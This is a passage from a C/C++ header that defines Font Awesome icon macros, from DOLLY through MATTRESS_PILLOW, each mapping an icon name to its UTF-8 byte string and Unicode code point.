#define ICON_FA_DOLLY "\xef\x91\xb2" // U+f472
#define ICON_FA_DONG_SIGN "\xee\x85\xa9" // U+e169
#define ICON_FA_DOOR_CLOSED "\xef\x94\xaa" // U+f52a
#define ICON_FA_DOOR_OPEN "\xef\x94\xab" // U+f52b
#define ICON_FA_DOVE "\xef\x92\xba" // U+f4ba
#define ICON_FA_DOWN_LEFT_AND_UP_RIGHT_TO_CENTER "\xef\x90\xa2" // U+f422
#define ICON_FA_DOWN_LONG "\xef\x8c\x89" // U+f309
#define ICON_FA_DOWNLOAD "\xef\x80\x99" // U+f019
#define ICON_FA_DRAGON "\xef\x9b\x95" // U+f6d5
#define ICON_FA_DRAW_POLYGON "\xef\x97\xae" // U+f5ee
#define ICON_FA_DROPLET "\xef\x81\x83" // U+f043
#define ICON_FA_DROPLET_SLASH "\xef\x97\x87" // U+f5c7
#define ICON_FA_DRUM "\xef\x95\xa9" // U+f569
#define ICON_FA_DRUM_STEELPAN "\xef\x95\xaa" // U+f56a
#define ICON_FA_DRUMSTICK_BITE "\xef\x9b\x97" // U+f6d7
#define ICON_FA_DUMBBELL "\xef\x91\x8b" // U+f44b
#define ICON_FA_DUMPSTER "\xef\x9e\x93" // U+f793
#define ICON_FA_DUMPSTER_FIRE "\xef\x9e\x94" // U+f794
#define ICON_FA_DUNGEON "\xef\x9b\x99" // U+f6d9
#define ICON_FA_E "E" // U+0045
#define ICON_FA_EAR_DEAF "\xef\x8a\xa4" // U+f2a4
#define ICON_FA_EAR_LISTEN "\xef\x8a\xa2" // U+f2a2
#define ICON_FA_EARTH_AFRICA "\xef\x95\xbc" // U+f57c
#define ICON_FA_EARTH_AMERICAS "\xef\x95\xbd" // U+f57d
#define ICON_FA_EARTH_ASIA "\xef\x95\xbe" // U+f57e
#define ICON_FA_EARTH_EUROPE "\xef\x9e\xa2" // U+f7a2
#define ICON_FA_EARTH_OCEANIA "\xee\x91\xbb" // U+e47b
#define ICON_FA_EGG "\xef\x9f\xbb" // U+f7fb
#define ICON_FA_EJECT "\xef\x81\x92" // U+f052
#define ICON_FA_ELEVATOR "\xee\x85\xad" // U+e16d
#define ICON_FA_ELLIPSIS "\xef\x85\x81" // U+f141
#define ICON_FA_ELLIPSIS_VERTICAL "\xef\x85\x82" // U+f142
#define ICON_FA_ENVELOPE "\xef\x83\xa0" // U+f0e0
#define ICON_FA_ENVELOPE_CIRCLE_CHECK "\xee\x93\xa8" // U+e4e8
#define ICON_FA_ENVELOPE_OPEN "\xef\x8a\xb6" // U+f2b6
#define ICON_FA_ENVELOPE_OPEN_TEXT "\xef\x99\x98" // U+f658
#define ICON_FA_ENVELOPES_BULK "\xef\x99\xb4" // U+f674
#define ICON_FA_EQUALS "=" // U+003d
#define ICON_FA_ERASER "\xef\x84\xad" // U+f12d
#define ICON_FA_ETHERNET "\xef\x9e\x96" // U+f796
#define ICON_FA_EURO_SIGN "\xef\x85\x93" // U+f153
#define ICON_FA_EXCLAMATION "!" // U+0021
#define ICON_FA_EXPAND "\xef\x81\xa5" // U+f065
#define ICON_FA_EXPLOSION "\xee\x93\xa9" // U+e4e9
#define ICON_FA_EYE "\xef\x81\xae" // U+f06e
#define ICON_FA_EYE_DROPPER "\xef\x87\xbb" // U+f1fb
#define ICON_FA_EYE_LOW_VISION "\xef\x8a\xa8" // U+f2a8
#define ICON_FA_EYE_SLASH "\xef\x81\xb0" // U+f070
#define ICON_FA_F "F" // U+0046
#define ICON_FA_FACE_ANGRY "\xef\x95\x96" // U+f556
#define ICON_FA_FACE_DIZZY "\xef\x95\xa7" // U+f567
#define ICON_FA_FACE_FLUSHED "\xef\x95\xb9" // U+f579
#define ICON_FA_FACE_FROWN "\xef\x84\x99" // U+f119
#define ICON_FA_FACE_FROWN_OPEN "\xef\x95\xba" // U+f57a
#define ICON_FA_FACE_GRIMACE "\xef\x95\xbf" // U+f57f
#define ICON_FA_FACE_GRIN "\xef\x96\x80" // U+f580
#define ICON_FA_FACE_GRIN_BEAM "\xef\x96\x82" // U+f582
#define ICON_FA_FACE_GRIN_BEAM_SWEAT "\xef\x96\x83" // U+f583
#define ICON_FA_FACE_GRIN_HEARTS "\xef\x96\x84" // U+f584
#define ICON_FA_FACE_GRIN_SQUINT "\xef\x96\x85" // U+f585
#define ICON_FA_FACE_GRIN_SQUINT_TEARS "\xef\x96\x86" // U+f586
#define ICON_FA_FACE_GRIN_STARS "\xef\x96\x87" // U+f587
#define ICON_FA_FACE_GRIN_TEARS "\xef\x96\x88" // U+f588
#define ICON_FA_FACE_GRIN_TONGUE "\xef\x96\x89" // U+f589
#define ICON_FA_FACE_GRIN_TONGUE_SQUINT "\xef\x96\x8a" // U+f58a
#define ICON_FA_FACE_GRIN_TONGUE_WINK "\xef\x96\x8b" // U+f58b
#define ICON_FA_FACE_GRIN_WIDE "\xef\x96\x81" // U+f581
#define ICON_FA_FACE_GRIN_WINK "\xef\x96\x8c" // U+f58c
#define ICON_FA_FACE_KISS "\xef\x96\x96" // U+f596
#define ICON_FA_FACE_KISS_BEAM "\xef\x96\x97" // U+f597
#define ICON_FA_FACE_KISS_WINK_HEART "\xef\x96\x98" // U+f598
#define ICON_FA_FACE_LAUGH "\xef\x96\x99" // U+f599
#define ICON_FA_FACE_LAUGH_BEAM "\xef\x96\x9a" // U+f59a
#define ICON_FA_FACE_LAUGH_SQUINT "\xef\x96\x9b" // U+f59b
#define ICON_FA_FACE_LAUGH_WINK "\xef\x96\x9c" // U+f59c
#define ICON_FA_FACE_MEH "\xef\x84\x9a" // U+f11a
#define ICON_FA_FACE_MEH_BLANK "\xef\x96\xa4" // U+f5a4
#define ICON_FA_FACE_ROLLING_EYES "\xef\x96\xa5" // U+f5a5
#define ICON_FA_FACE_SAD_CRY "\xef\x96\xb3" // U+f5b3
#define ICON_FA_FACE_SAD_TEAR "\xef\x96\xb4" // U+f5b4
#define ICON_FA_FACE_SMILE "\xef\x84\x98" // U+f118
#define ICON_FA_FACE_SMILE_BEAM "\xef\x96\xb8" // U+f5b8
#define ICON_FA_FACE_SMILE_WINK "\xef\x93\x9a" // U+f4da
#define ICON_FA_FACE_SURPRISE "\xef\x97\x82" // U+f5c2
#define ICON_FA_FACE_TIRED "\xef\x97\x88" // U+f5c8
#define ICON_FA_FAN "\xef\xa1\xa3" // U+f863
#define ICON_FA_FAUCET "\xee\x80\x85" // U+e005
#define ICON_FA_FAUCET_DRIP "\xee\x80\x86" // U+e006
#define ICON_FA_FAX "\xef\x86\xac" // U+f1ac
#define ICON_FA_FEATHER "\xef\x94\xad" // U+f52d
#define ICON_FA_FEATHER_POINTED "\xef\x95\xab" // U+f56b
#define ICON_FA_FERRY "\xee\x93\xaa" // U+e4ea
#define ICON_FA_FILE "\xef\x85\x9b" // U+f15b
#define ICON_FA_FILE_ARROW_DOWN "\xef\x95\xad" // U+f56d
#define ICON_FA_FILE_ARROW_UP "\xef\x95\xb4" // U+f574
#define ICON_FA_FILE_AUDIO "\xef\x87\x87" // U+f1c7
#define ICON_FA_FILE_CIRCLE_CHECK "\xee\x96\xa0" // U+e5a0
#define ICON_FA_FILE_CIRCLE_EXCLAMATION "\xee\x93\xab" // U+e4eb
#define ICON_FA_FILE_CIRCLE_MINUS "\xee\x93\xad" // U+e4ed
#define ICON_FA_FILE_CIRCLE_PLUS "\xee\x92\x94" // U+e494
#define ICON_FA_FILE_CIRCLE_QUESTION "\xee\x93\xaf" // U+e4ef
#define ICON_FA_FILE_CIRCLE_XMARK "\xee\x96\xa1" // U+e5a1
#define ICON_FA_FILE_CODE "\xef\x87\x89" // U+f1c9
#define ICON_FA_FILE_CONTRACT "\xef\x95\xac" // U+f56c
#define ICON_FA_FILE_CSV "\xef\x9b\x9d" // U+f6dd
#define ICON_FA_FILE_EXCEL "\xef\x87\x83" // U+f1c3
#define ICON_FA_FILE_EXPORT "\xef\x95\xae" // U+f56e
#define ICON_FA_FILE_IMAGE "\xef\x87\x85" // U+f1c5
#define ICON_FA_FILE_IMPORT "\xef\x95\xaf" // U+f56f
#define ICON_FA_FILE_INVOICE "\xef\x95\xb0" // U+f570
#define ICON_FA_FILE_INVOICE_DOLLAR "\xef\x95\xb1" // U+f571
#define ICON_FA_FILE_LINES "\xef\x85\x9c" // U+f15c
#define ICON_FA_FILE_MEDICAL "\xef\x91\xb7" // U+f477
#define ICON_FA_FILE_PDF "\xef\x87\x81" // U+f1c1
#define ICON_FA_FILE_PEN "\xef\x8c\x9c" // U+f31c
#define ICON_FA_FILE_POWERPOINT "\xef\x87\x84" // U+f1c4
#define ICON_FA_FILE_PRESCRIPTION "\xef\x95\xb2" // U+f572
#define ICON_FA_FILE_SHIELD "\xee\x93\xb0" // U+e4f0
#define ICON_FA_FILE_SIGNATURE "\xef\x95\xb3" // U+f573
#define ICON_FA_FILE_VIDEO "\xef\x87\x88" // U+f1c8
#define ICON_FA_FILE_WAVEFORM "\xef\x91\xb8" // U+f478
#define ICON_FA_FILE_WORD "\xef\x87\x82" // U+f1c2
#define ICON_FA_FILE_ZIPPER "\xef\x87\x86" // U+f1c6
#define ICON_FA_FILL "\xef\x95\xb5" // U+f575
#define ICON_FA_FILL_DRIP "\xef\x95\xb6" // U+f576
#define ICON_FA_FILM "\xef\x80\x88" // U+f008
#define ICON_FA_FILTER "\xef\x82\xb0" // U+f0b0
#define ICON_FA_FILTER_CIRCLE_DOLLAR "\xef\x99\xa2" // U+f662
#define ICON_FA_FILTER_CIRCLE_XMARK "\xee\x85\xbb" // U+e17b
#define ICON_FA_FINGERPRINT "\xef\x95\xb7" // U+f577
#define ICON_FA_FIRE "\xef\x81\xad" // U+f06d
#define ICON_FA_FIRE_BURNER "\xee\x93\xb1" // U+e4f1
#define ICON_FA_FIRE_EXTINGUISHER "\xef\x84\xb4" // U+f134
#define ICON_FA_FIRE_FLAME_CURVED "\xef\x9f\xa4" // U+f7e4
#define ICON_FA_FIRE_FLAME_SIMPLE "\xef\x91\xaa" // U+f46a
#define ICON_FA_FISH "\xef\x95\xb8" // U+f578
#define ICON_FA_FISH_FINS "\xee\x93\xb2" // U+e4f2
#define ICON_FA_FLAG "\xef\x80\xa4" // U+f024
#define ICON_FA_FLAG_CHECKERED "\xef\x84\x9e" // U+f11e
#define ICON_FA_FLAG_USA "\xef\x9d\x8d" // U+f74d
#define ICON_FA_FLASK "\xef\x83\x83" // U+f0c3
#define ICON_FA_FLASK_VIAL "\xee\x93\xb3" // U+e4f3
#define ICON_FA_FLOPPY_DISK "\xef\x83\x87" // U+f0c7
#define ICON_FA_FLORIN_SIGN "\xee\x86\x84" // U+e184
#define ICON_FA_FOLDER "\xef\x81\xbb" // U+f07b
#define ICON_FA_FOLDER_CLOSED "\xee\x86\x85" // U+e185
#define ICON_FA_FOLDER_MINUS "\xef\x99\x9d" // U+f65d
#define ICON_FA_FOLDER_OPEN "\xef\x81\xbc" // U+f07c
#define ICON_FA_FOLDER_PLUS "\xef\x99\x9e" // U+f65e
#define ICON_FA_FOLDER_TREE "\xef\xa0\x82" // U+f802
#define ICON_FA_FONT "\xef\x80\xb1" // U+f031
#define ICON_FA_FONT_AWESOME "\xef\x8a\xb4" // U+f2b4
#define ICON_FA_FOOTBALL "\xef\x91\x8e" // U+f44e
#define ICON_FA_FORWARD "\xef\x81\x8e" // U+f04e
#define ICON_FA_FORWARD_FAST "\xef\x81\x90" // U+f050
#define ICON_FA_FORWARD_STEP "\xef\x81\x91" // U+f051
#define ICON_FA_FRANC_SIGN "\xee\x86\x8f" // U+e18f
#define ICON_FA_FROG "\xef\x94\xae" // U+f52e
#define ICON_FA_FUTBOL "\xef\x87\xa3" // U+f1e3
#define ICON_FA_G "G" // U+0047
#define ICON_FA_GAMEPAD "\xef\x84\x9b" // U+f11b
#define ICON_FA_GAS_PUMP "\xef\x94\xaf" // U+f52f
#define ICON_FA_GAUGE "\xef\x98\xa4" // U+f624
#define ICON_FA_GAUGE_HIGH "\xef\x98\xa5" // U+f625
#define ICON_FA_GAUGE_SIMPLE "\xef\x98\xa9" // U+f629
#define ICON_FA_GAUGE_SIMPLE_HIGH "\xef\x98\xaa" // U+f62a
#define ICON_FA_GAVEL "\xef\x83\xa3" // U+f0e3
#define ICON_FA_GEAR "\xef\x80\x93" // U+f013
#define ICON_FA_GEARS "\xef\x82\x85" // U+f085
#define ICON_FA_GEM "\xef\x8e\xa5" // U+f3a5
#define ICON_FA_GENDERLESS "\xef\x88\xad" // U+f22d
#define ICON_FA_GHOST "\xef\x9b\xa2" // U+f6e2
#define ICON_FA_GIFT "\xef\x81\xab" // U+f06b
#define ICON_FA_GIFTS "\xef\x9e\x9c" // U+f79c
#define ICON_FA_GLASS_WATER "\xee\x93\xb4" // U+e4f4
#define ICON_FA_GLASS_WATER_DROPLET "\xee\x93\xb5" // U+e4f5
#define ICON_FA_GLASSES "\xef\x94\xb0" // U+f530
#define ICON_FA_GLOBE "\xef\x82\xac" // U+f0ac
#define ICON_FA_GOLF_BALL_TEE "\xef\x91\x90" // U+f450
#define ICON_FA_GOPURAM "\xef\x99\xa4" // U+f664
#define ICON_FA_GRADUATION_CAP "\xef\x86\x9d" // U+f19d
#define ICON_FA_GREATER_THAN ">" // U+003e
#define ICON_FA_GREATER_THAN_EQUAL "\xef\x94\xb2" // U+f532
#define ICON_FA_GRIP "\xef\x96\x8d" // U+f58d
#define ICON_FA_GRIP_LINES "\xef\x9e\xa4" // U+f7a4
#define ICON_FA_GRIP_LINES_VERTICAL "\xef\x9e\xa5" // U+f7a5
#define ICON_FA_GRIP_VERTICAL "\xef\x96\x8e" // U+f58e
#define ICON_FA_GROUP_ARROWS_ROTATE "\xee\x93\xb6" // U+e4f6
#define ICON_FA_GUARANI_SIGN "\xee\x86\x9a" // U+e19a
#define ICON_FA_GUITAR "\xef\x9e\xa6" // U+f7a6
#define ICON_FA_GUN "\xee\x86\x9b" // U+e19b
#define ICON_FA_H "H" // U+0048
#define ICON_FA_HAMMER "\xef\x9b\xa3" // U+f6e3
#define ICON_FA_HAMSA "\xef\x99\xa5" // U+f665
#define ICON_FA_HAND "\xef\x89\x96" // U+f256
#define ICON_FA_HAND_BACK_FIST "\xef\x89\x95" // U+f255
#define ICON_FA_HAND_DOTS "\xef\x91\xa1" // U+f461
#define ICON_FA_HAND_FIST "\xef\x9b\x9e" // U+f6de
#define ICON_FA_HAND_HOLDING "\xef\x92\xbd" // U+f4bd
#define ICON_FA_HAND_HOLDING_DOLLAR "\xef\x93\x80" // U+f4c0
#define ICON_FA_HAND_HOLDING_DROPLET "\xef\x93\x81" // U+f4c1
#define ICON_FA_HAND_HOLDING_HAND "\xee\x93\xb7" // U+e4f7
#define ICON_FA_HAND_HOLDING_HEART "\xef\x92\xbe" // U+f4be
#define ICON_FA_HAND_HOLDING_MEDICAL "\xee\x81\x9c" // U+e05c
#define ICON_FA_HAND_LIZARD "\xef\x89\x98" // U+f258
#define ICON_FA_HAND_MIDDLE_FINGER "\xef\xa0\x86" // U+f806
#define ICON_FA_HAND_PEACE "\xef\x89\x9b" // U+f25b
#define ICON_FA_HAND_POINT_DOWN "\xef\x82\xa7" // U+f0a7
#define ICON_FA_HAND_POINT_LEFT "\xef\x82\xa5" // U+f0a5
#define ICON_FA_HAND_POINT_RIGHT "\xef\x82\xa4" // U+f0a4
#define ICON_FA_HAND_POINT_UP "\xef\x82\xa6" // U+f0a6
#define ICON_FA_HAND_POINTER "\xef\x89\x9a" // U+f25a
#define ICON_FA_HAND_SCISSORS "\xef\x89\x97" // U+f257
#define ICON_FA_HAND_SPARKLES "\xee\x81\x9d" // U+e05d
#define ICON_FA_HAND_SPOCK "\xef\x89\x99" // U+f259
#define ICON_FA_HANDCUFFS "\xee\x93\xb8" // U+e4f8
#define ICON_FA_HANDS "\xef\x8a\xa7" // U+f2a7
#define ICON_FA_HANDS_ASL_INTERPRETING "\xef\x8a\xa3" // U+f2a3
#define ICON_FA_HANDS_BOUND "\xee\x93\xb9" // U+e4f9
#define ICON_FA_HANDS_BUBBLES "\xee\x81\x9e" // U+e05e
#define ICON_FA_HANDS_CLAPPING "\xee\x86\xa8" // U+e1a8
#define ICON_FA_HANDS_HOLDING "\xef\x93\x82" // U+f4c2
#define ICON_FA_HANDS_HOLDING_CHILD "\xee\x93\xba" // U+e4fa
#define ICON_FA_HANDS_HOLDING_CIRCLE "\xee\x93\xbb" // U+e4fb
#define ICON_FA_HANDS_PRAYING "\xef\x9a\x84" // U+f684
#define ICON_FA_HANDSHAKE "\xef\x8a\xb5" // U+f2b5
#define ICON_FA_HANDSHAKE_ANGLE "\xef\x93\x84" // U+f4c4
#define ICON_FA_HANDSHAKE_SIMPLE "\xef\x93\x86" // U+f4c6
#define ICON_FA_HANDSHAKE_SIMPLE_SLASH "\xee\x81\x9f" // U+e05f
#define ICON_FA_HANDSHAKE_SLASH "\xee\x81\xa0" // U+e060
#define ICON_FA_HANUKIAH "\xef\x9b\xa6" // U+f6e6
#define ICON_FA_HARD_DRIVE "\xef\x82\xa0" // U+f0a0
#define ICON_FA_HASHTAG "#" // U+0023
#define ICON_FA_HAT_COWBOY "\xef\xa3\x80" // U+f8c0
#define ICON_FA_HAT_COWBOY_SIDE "\xef\xa3\x81" // U+f8c1
#define ICON_FA_HAT_WIZARD "\xef\x9b\xa8" // U+f6e8
#define ICON_FA_HEAD_SIDE_COUGH "\xee\x81\xa1" // U+e061
#define ICON_FA_HEAD_SIDE_COUGH_SLASH "\xee\x81\xa2" // U+e062
#define ICON_FA_HEAD_SIDE_MASK "\xee\x81\xa3" // U+e063
#define ICON_FA_HEAD_SIDE_VIRUS "\xee\x81\xa4" // U+e064
#define ICON_FA_HEADING "\xef\x87\x9c" // U+f1dc
#define ICON_FA_HEADPHONES "\xef\x80\xa5" // U+f025
#define ICON_FA_HEADPHONES_SIMPLE "\xef\x96\x8f" // U+f58f
#define ICON_FA_HEADSET "\xef\x96\x90" // U+f590
#define ICON_FA_HEART "\xef\x80\x84" // U+f004
#define ICON_FA_HEART_CIRCLE_BOLT "\xee\x93\xbc" // U+e4fc
#define ICON_FA_HEART_CIRCLE_CHECK "\xee\x93\xbd" // U+e4fd
#define ICON_FA_HEART_CIRCLE_EXCLAMATION "\xee\x93\xbe" // U+e4fe
#define ICON_FA_HEART_CIRCLE_MINUS "\xee\x93\xbf" // U+e4ff
#define ICON_FA_HEART_CIRCLE_PLUS "\xee\x94\x80" // U+e500
#define ICON_FA_HEART_CIRCLE_XMARK "\xee\x94\x81" // U+e501
#define ICON_FA_HEART_CRACK "\xef\x9e\xa9" // U+f7a9
#define ICON_FA_HEART_PULSE "\xef\x88\x9e" // U+f21e
#define ICON_FA_HELICOPTER "\xef\x94\xb3" // U+f533
#define ICON_FA_HELICOPTER_SYMBOL "\xee\x94\x82" // U+e502
#define ICON_FA_HELMET_SAFETY "\xef\xa0\x87" // U+f807
#define ICON_FA_HELMET_UN "\xee\x94\x83" // U+e503
#define ICON_FA_HIGHLIGHTER "\xef\x96\x91" // U+f591
#define ICON_FA_HILL_AVALANCHE "\xee\x94\x87" // U+e507
#define ICON_FA_HILL_ROCKSLIDE "\xee\x94\x88" // U+e508
#define ICON_FA_HIPPO "\xef\x9b\xad" // U+f6ed
#define ICON_FA_HOCKEY_PUCK "\xef\x91\x93" // U+f453
#define ICON_FA_HOLLY_BERRY "\xef\x9e\xaa" // U+f7aa
#define ICON_FA_HORSE "\xef\x9b\xb0" // U+f6f0
#define ICON_FA_HORSE_HEAD "\xef\x9e\xab" // U+f7ab
#define ICON_FA_HOSPITAL "\xef\x83\xb8" // U+f0f8
#define ICON_FA_HOSPITAL_USER "\xef\xa0\x8d" // U+f80d
#define ICON_FA_HOT_TUB_PERSON "\xef\x96\x93" // U+f593
#define ICON_FA_HOTDOG "\xef\xa0\x8f" // U+f80f
#define ICON_FA_HOTEL "\xef\x96\x94" // U+f594
#define ICON_FA_HOURGLASS "\xef\x89\x94" // U+f254
#define ICON_FA_HOURGLASS_END "\xef\x89\x93" // U+f253
#define ICON_FA_HOURGLASS_HALF "\xef\x89\x92" // U+f252
#define ICON_FA_HOURGLASS_START "\xef\x89\x91" // U+f251
#define ICON_FA_HOUSE "\xef\x80\x95" // U+f015
#define ICON_FA_HOUSE_CHIMNEY "\xee\x8e\xaf" // U+e3af
#define ICON_FA_HOUSE_CHIMNEY_CRACK "\xef\x9b\xb1" // U+f6f1
#define ICON_FA_HOUSE_CHIMNEY_MEDICAL "\xef\x9f\xb2" // U+f7f2
#define ICON_FA_HOUSE_CHIMNEY_USER "\xee\x81\xa5" // U+e065
#define ICON_FA_HOUSE_CHIMNEY_WINDOW "\xee\x80\x8d" // U+e00d
#define ICON_FA_HOUSE_CIRCLE_CHECK "\xee\x94\x89" // U+e509
#define ICON_FA_HOUSE_CIRCLE_EXCLAMATION "\xee\x94\x8a" // U+e50a
#define ICON_FA_HOUSE_CIRCLE_XMARK "\xee\x94\x8b" // U+e50b
#define ICON_FA_HOUSE_CRACK "\xee\x8e\xb1" // U+e3b1
#define ICON_FA_HOUSE_FIRE "\xee\x94\x8c" // U+e50c
#define ICON_FA_HOUSE_FLAG "\xee\x94\x8d" // U+e50d
#define ICON_FA_HOUSE_FLOOD_WATER "\xee\x94\x8e" // U+e50e
#define ICON_FA_HOUSE_FLOOD_WATER_CIRCLE_ARROW_RIGHT "\xee\x94\x8f" // U+e50f
#define ICON_FA_HOUSE_LAPTOP "\xee\x81\xa6" // U+e066
#define ICON_FA_HOUSE_LOCK "\xee\x94\x90" // U+e510
#define ICON_FA_HOUSE_MEDICAL "\xee\x8e\xb2" // U+e3b2
#define ICON_FA_HOUSE_MEDICAL_CIRCLE_CHECK "\xee\x94\x91" // U+e511
#define ICON_FA_HOUSE_MEDICAL_CIRCLE_EXCLAMATION "\xee\x94\x92" // U+e512
#define ICON_FA_HOUSE_MEDICAL_CIRCLE_XMARK "\xee\x94\x93" // U+e513
#define ICON_FA_HOUSE_MEDICAL_FLAG "\xee\x94\x94" // U+e514
#define ICON_FA_HOUSE_SIGNAL "\xee\x80\x92" // U+e012
#define ICON_FA_HOUSE_TSUNAMI "\xee\x94\x95" // U+e515
#define ICON_FA_HOUSE_USER "\xee\x86\xb0" // U+e1b0
#define ICON_FA_HRYVNIA_SIGN "\xef\x9b\xb2" // U+f6f2
#define ICON_FA_HURRICANE "\xef\x9d\x91" // U+f751
#define ICON_FA_I "I" // U+0049
#define ICON_FA_I_CURSOR "\xef\x89\x86" // U+f246
#define ICON_FA_ICE_CREAM "\xef\xa0\x90" // U+f810
#define ICON_FA_ICICLES "\xef\x9e\xad" // U+f7ad
#define ICON_FA_ICONS "\xef\xa1\xad" // U+f86d
#define ICON_FA_ID_BADGE "\xef\x8b\x81" // U+f2c1
#define ICON_FA_ID_CARD "\xef\x8b\x82" // U+f2c2
#define ICON_FA_ID_CARD_CLIP "\xef\x91\xbf" // U+f47f
#define ICON_FA_IGLOO "\xef\x9e\xae" // U+f7ae
#define ICON_FA_IMAGE "\xef\x80\xbe" // U+f03e
#define ICON_FA_IMAGE_PORTRAIT "\xef\x8f\xa0" // U+f3e0
#define ICON_FA_IMAGES "\xef\x8c\x82" // U+f302
#define ICON_FA_INBOX "\xef\x80\x9c" // U+f01c
#define ICON_FA_INDENT "\xef\x80\xbc" // U+f03c
#define ICON_FA_INDIAN_RUPEE_SIGN "\xee\x86\xbc" // U+e1bc
#define ICON_FA_INDUSTRY "\xef\x89\xb5" // U+f275
#define ICON_FA_INFINITY "\xef\x94\xb4" // U+f534
#define ICON_FA_INFO "\xef\x84\xa9" // U+f129
#define ICON_FA_ITALIC "\xef\x80\xb3" // U+f033
#define ICON_FA_J "J" // U+004a
#define ICON_FA_JAR "\xee\x94\x96" // U+e516
#define ICON_FA_JAR_WHEAT "\xee\x94\x97" // U+e517
#define ICON_FA_JEDI "\xef\x99\xa9" // U+f669
#define ICON_FA_JET_FIGHTER "\xef\x83\xbb" // U+f0fb
#define ICON_FA_JET_FIGHTER_UP "\xee\x94\x98" // U+e518
#define ICON_FA_JOINT "\xef\x96\x95" // U+f595
#define ICON_FA_JUG_DETERGENT "\xee\x94\x99" // U+e519
#define ICON_FA_K "K" // U+004b
#define ICON_FA_KAABA "\xef\x99\xab" // U+f66b
#define ICON_FA_KEY "\xef\x82\x84" // U+f084
#define ICON_FA_KEYBOARD "\xef\x84\x9c" // U+f11c
#define ICON_FA_KHANDA "\xef\x99\xad" // U+f66d
#define ICON_FA_KIP_SIGN "\xee\x87\x84" // U+e1c4
#define ICON_FA_KIT_MEDICAL "\xef\x91\xb9" // U+f479
#define ICON_FA_KITCHEN_SET "\xee\x94\x9a" // U+e51a
#define ICON_FA_KIWI_BIRD "\xef\x94\xb5" // U+f535
#define ICON_FA_L "L" // U+004c
#define ICON_FA_LAND_MINE_ON "\xee\x94\x9b" // U+e51b
#define ICON_FA_LANDMARK "\xef\x99\xaf" // U+f66f
#define ICON_FA_LANDMARK_DOME "\xef\x9d\x92" // U+f752
#define ICON_FA_LANDMARK_FLAG "\xee\x94\x9c" // U+e51c
#define ICON_FA_LANGUAGE "\xef\x86\xab" // U+f1ab
#define ICON_FA_LAPTOP "\xef\x84\x89" // U+f109
#define ICON_FA_LAPTOP_CODE "\xef\x97\xbc" // U+f5fc
#define ICON_FA_LAPTOP_FILE "\xee\x94\x9d" // U+e51d
#define ICON_FA_LAPTOP_MEDICAL "\xef\xa0\x92" // U+f812
#define ICON_FA_LARI_SIGN "\xee\x87\x88" // U+e1c8
#define ICON_FA_LAYER_GROUP "\xef\x97\xbd" // U+f5fd
#define ICON_FA_LEAF "\xef\x81\xac" // U+f06c
#define ICON_FA_LEFT_LONG "\xef\x8c\x8a" // U+f30a
#define ICON_FA_LEFT_RIGHT "\xef\x8c\xb7" // U+f337
#define ICON_FA_LEMON "\xef\x82\x94" // U+f094
#define ICON_FA_LESS_THAN "<" // U+003c
#define ICON_FA_LESS_THAN_EQUAL "\xef\x94\xb7" // U+f537
#define ICON_FA_LIFE_RING "\xef\x87\x8d" // U+f1cd
#define ICON_FA_LIGHTBULB "\xef\x83\xab" // U+f0eb
#define ICON_FA_LINES_LEANING "\xee\x94\x9e" // U+e51e
#define ICON_FA_LINK "\xef\x83\x81" // U+f0c1
#define ICON_FA_LINK_SLASH "\xef\x84\xa7" // U+f127
#define ICON_FA_LIRA_SIGN "\xef\x86\x95" // U+f195
#define ICON_FA_LIST "\xef\x80\xba" // U+f03a
#define ICON_FA_LIST_CHECK "\xef\x82\xae" // U+f0ae
#define ICON_FA_LIST_OL "\xef\x83\x8b" // U+f0cb
#define ICON_FA_LIST_UL "\xef\x83\x8a" // U+f0ca
#define ICON_FA_LITECOIN_SIGN "\xee\x87\x93" // U+e1d3
#define ICON_FA_LOCATION_ARROW "\xef\x84\xa4" // U+f124
#define ICON_FA_LOCATION_CROSSHAIRS "\xef\x98\x81" // U+f601
#define ICON_FA_LOCATION_DOT "\xef\x8f\x85" // U+f3c5
#define ICON_FA_LOCATION_PIN "\xef\x81\x81" // U+f041
#define ICON_FA_LOCATION_PIN_LOCK "\xee\x94\x9f" // U+e51f
#define ICON_FA_LOCK "\xef\x80\xa3" // U+f023
#define ICON_FA_LOCK_OPEN "\xef\x8f\x81" // U+f3c1
#define ICON_FA_LOCUST "\xee\x94\xa0" // U+e520
#define ICON_FA_LUNGS "\xef\x98\x84" // U+f604
#define ICON_FA_LUNGS_VIRUS "\xee\x81\xa7" // U+e067
#define ICON_FA_M "M" // U+004d
#define ICON_FA_MAGNET "\xef\x81\xb6" // U+f076
#define ICON_FA_MAGNIFYING_GLASS "\xef\x80\x82" // U+f002
#define ICON_FA_MAGNIFYING_GLASS_ARROW_RIGHT "\xee\x94\xa1" // U+e521
#define ICON_FA_MAGNIFYING_GLASS_CHART "\xee\x94\xa2" // U+e522
#define ICON_FA_MAGNIFYING_GLASS_DOLLAR "\xef\x9a\x88" // U+f688
#define ICON_FA_MAGNIFYING_GLASS_LOCATION "\xef\x9a\x89" // U+f689
#define ICON_FA_MAGNIFYING_GLASS_MINUS "\xef\x80\x90" // U+f010
#define ICON_FA_MAGNIFYING_GLASS_PLUS "\xef\x80\x8e" // U+f00e
#define ICON_FA_MANAT_SIGN "\xee\x87\x95" // U+e1d5
#define ICON_FA_MAP "\xef\x89\xb9" // U+f279
#define ICON_FA_MAP_LOCATION "\xef\x96\x9f" // U+f59f
#define ICON_FA_MAP_LOCATION_DOT "\xef\x96\xa0" // U+f5a0
#define ICON_FA_MAP_PIN "\xef\x89\xb6" // U+f276
#define ICON_FA_MARKER "\xef\x96\xa1" // U+f5a1
#define ICON_FA_MARS "\xef\x88\xa2" // U+f222
#define ICON_FA_MARS_AND_VENUS "\xef\x88\xa4" // U+f224
#define ICON_FA_MARS_AND_VENUS_BURST "\xee\x94\xa3" // U+e523
#define ICON_FA_MARS_DOUBLE "\xef\x88\xa7" // U+f227
#define ICON_FA_MARS_STROKE "\xef\x88\xa9" // U+f229
#define ICON_FA_MARS_STROKE_RIGHT "\xef\x88\xab" // U+f22b
#define ICON_FA_MARS_STROKE_UP "\xef\x88\xaa" // U+f22a
#define ICON_FA_MARTINI_GLASS "\xef\x95\xbb" // U+f57b
#define ICON_FA_MARTINI_GLASS_CITRUS "\xef\x95\xa1" // U+f561
#define ICON_FA_MARTINI_GLASS_EMPTY "\xef\x80\x80" // U+f000
#define ICON_FA_MASK "\xef\x9b\xba" // U+f6fa
#define ICON_FA_MASK_FACE "\xee\x87\x97" // U+e1d7
#define ICON_FA_MASK_VENTILATOR "\xee\x94\xa4" // U+e524
#define ICON_FA_MASKS_THEATER "\xef\x98\xb0" // U+f630
#define ICON_FA_MATTRESS_PILLOW "\xee\x94\xa5" // U+e525
